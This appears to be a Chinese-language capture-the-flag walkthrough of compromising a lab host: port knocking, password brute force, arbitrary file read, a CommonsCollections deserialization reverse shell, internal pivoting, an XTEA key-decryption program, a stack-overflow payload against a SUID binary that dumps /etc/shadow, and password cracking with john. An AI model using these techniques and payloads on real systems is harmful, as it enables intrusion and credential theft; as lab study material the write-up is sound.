web打点
模拟终端执行
查看/opt/code/test.c 文件
伪随机,跑代码得到三个数
用这三个数进行端口敲门,就会开放8080端口
访问8080, 密码爆破 admin/123457
目录扫描,发现接口/download
对参数进行爆破,爆破出参数为file,可以任意文件读取
读取/proc/self/maps 查看内存
找到/app/javaserver-0.0.1-SNAPSHOT.jar
使用这个接口读取jar
反编译发现反序列化接口
直接打CommonsCollections链子
使用ysoserial生成反弹shell payload
带上cookie发送payload getshell
内网横向
上传frp 搭建socks代理
使用fscan 等工具扫描内网主机
扫描到内网主机172.17.0.2,开起来80和22
查看80端口,是一个关于暴力破解的讲解,在最底下有一个注释内容500-worst-passwords
这是seclists中的一个字典,使用这个字典去爆破root@172.17.0.2 root/mountain
ssh连上去 在/usr/bin中发现可疑文件 userLogin
ida分析
文件加密函数 跟进去
标准的xtea加密
找到key和输出的文件
因为是常量定义的key 和 读取的文件的文件名,这里ida分析将这两值合在了一起
xtea的key为16位,分成4组进行加密
key-for-user-ldz
是key , id_ed25519
是读取的文件名
很明显是一个私钥,写脚本解密output.enc
找到这个文件在/etc/下
提取出来解密
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#define BLOCK_SIZE 8
#define ROUNDS 64
const char FIXED_KEY_STR[16] = "key-for-user-ldz";
const char *INPUT_FILE = "output.enc";
const char *OUTPUT_FILE = "decrypted.txt";
void xtea_decrypt(uint32_t v[2], const uint32_t key[4]) {
uint32_t v0 = v[0], v1 = v[1];
uint32_t delta = 0x9E3779B9, sum = delta * ROUNDS;
for (int i = 0; i < ROUNDS; ++i) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0] = v0; v[1] = v1;
}
void key_from_fixed_string(uint32_t key[4]) {
for (int i = 0; i < 4; ++i) {
key[i] = ((uint32_t)FIXED_KEY_STR[i*4]) |
((uint32_t)FIXED_KEY_STR[i*4 + 1] << 8) |
((uint32_t)FIXED_KEY_STR[i*4 + 2] << 16) |
((uint32_t)FIXED_KEY_STR[i*4 + 3] << 24);
}
}
void decrypt_file() {
FILE *fin = fopen(INPUT_FILE, "rb");
FILE *fout = fopen(OUTPUT_FILE, "wb");
if (!fin || !fout) {
perror("文件打开失败");
exit(1);
}
uint32_t key[4];
key_from_fixed_string(key);
uint8_t buffer[BLOCK_SIZE];
size_t read_size;
while ((read_size = fread(buffer, 1, BLOCK_SIZE, fin)) == BLOCK_SIZE) {
uint32_t block[2];
memcpy(block, buffer, BLOCK_SIZE);
xtea_decrypt(block, key);
fwrite(block, 1, BLOCK_SIZE, fout);
}
fclose(fin);
fclose(fout);
printf("解密完成:%s → %s\n", INPUT_FILE, OUTPUT_FILE);
}
int main() {
decrypt_file();
return 0;
}
查看解密完的文件
是个私钥,设置权限600 ,根据解密的key,可以得知是用户ldz的私钥
登录这个用户
提权
localhost:~$ find / -perm -4000 2>/dev/null
/opt/vuln
/bin/bbsuid
查看suid
有个vuln,ida分析一下
让flag=1就能执行secret()函数
这个函数读取/etc/shadow
这里很明显是一个栈溢出覆盖flag的值,进行判断绕过
payload:
localhost:~$ python -c "print('A'*44 + '\x01\x00\x00\x00')" | /opt/vuln
root:$6$W5FUwrTeo8vXfNot$qJazigaYSqk8ezVfjHckZb2XjxkrJsniQa5MA1o.j9apE1BMYX5vYuJVEJ2hYbNsR0q9IWOSSt1I40vNYxvKO0:20263:0:::::
bin:!::0:::::
daemon:!::0:::::
lp:!::0:::::
sync:!::0:::::
shutdown:!::0:::::
halt:!::0:::::
mail:!::0:::::
news:!::0:::::
uucp:!::0:::::
cron:!::0:::::
ftp:!::0:::::
sshd:!::0:::::
games:!::0:::::
ntp:!::0:::::
guest:!::0:::::
nobody:!::0:::::
klogd:!:20205:0:99999:7:::
chrony:!:20205:0:99999:7:::
ldz:$6$qCU7eP8wj/Pvo1FB$Ooou6p.TF3M/kMB29XrzQ6XVNbq7c46lGzNvRPOJ55GAXJ0h.jmbc8VHhGjFgwXLHPSbNt96l/rmUYgDqpo8Y0:20263:0:99999:7:::
nginx:!:20263:0:99999:7:::
成功读取shadow
爆破得到root密码
┌──(root㉿kali)-[~]
└─# john --format=sha512crypt --wordlist=rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
No password hashes left to crack (see FAQ)
┌──(root㉿kali)-[~]
└─# john hash --show
root:yulianateamo:20263:0:::::
1 password hash cracked, 0 left
┌──(root㉿kali)-[~]
└─# ssh root@10.20.73.10
root@10.20.73.10's password:
localhost:~#
localhost:~#
localhost:~# ls
root.txt
localhost:~# cat root.txt
flag{98ecb90d5dcef41e1bd18f47697f287a}
localhost:~#